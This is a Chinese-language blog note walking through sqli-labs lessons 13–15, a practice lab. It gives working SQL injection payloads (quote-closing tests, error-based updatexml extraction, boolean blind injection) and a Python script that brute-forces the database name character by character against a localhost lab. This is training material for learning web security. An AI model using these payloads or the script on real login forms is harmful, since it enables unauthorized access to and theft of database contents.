note-08

less-13

只有登录成功回显,没其它信息
密码传入必须有字符,闭合点

1
1') #

错误注入

payload

1
uname=1&passwd=1') or updatexml(1,concat(0x7e,(select user()),0x7e),1)#&submit=Submit

布尔盲注

因为有登录成功反馈,可以使用布尔盲注

1
uname=1&passwd=1') or if(length(database()=8),0,1)#&submit=Submit

太菜了写不出脚本,使用sqlmap,或者bp来爆破。
找了一个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import requests

# 网站路径
url = "http://localhost/sqli-labs/Less-13/"
# 判断长度的payload
payload_len = """a') or length(
(database())
) ={n} -- a"""
# 枚举字符的payload
payload_str = """a') or ascii(
substr(
(database())
,{l},1)
) ={n} -- a"""

# post请求参数
data= {
"uname" : "a') or 1 -- a",
"passwd" : "1",
"submit" : "Submit"
}

# 判断长度
def getLen(payload_len):
length = 1
while True:
# 修改请求参数
data["uname"] = payload_len.format(n = length)
response = requests.post(url=url, data=data)
# 出现此内容为登录成功
if '../images/flag.jpg' in response.text:
print('测试成功,长度为:', length)
return length;
else:
print('正在测试长度:', length)
length += 1


# 枚举字符
def getStr(length):
str = ''
# 从第一个字符开始截取
for l in range(1, length+1):
# 枚举字符的每一种可能性
for n in range(32, 126):
data["uname"] = payload_str.format(l=l, n=n)
response = requests.post(url=url, data=data)
if '../images/flag.jpg' in response.text:
str += chr(n)
print('第', l, '个字符枚举成功:',str )
break

length = getLen(payload_len)
getStr(length)

可以换database()来实现其它注入,less13用单引号,less14用双引号
脚本出处:https://blog.csdn.net/wangyuxiang946/article/details/118094895

less-14

换了闭合点,可以按less13的方式解:

1
uname=1&password=1" or true #&submit=Submit

less-15

没有报错回显,无法用报错注入,只能用布尔盲注
闭合点:

1
uname=1&password=1' or true#&submit=Submit

note-08
https://aidemofashi.github.io/2025/03/07/note-08/
作者
aidemofashi
发布于
2025年3月7日
许可协议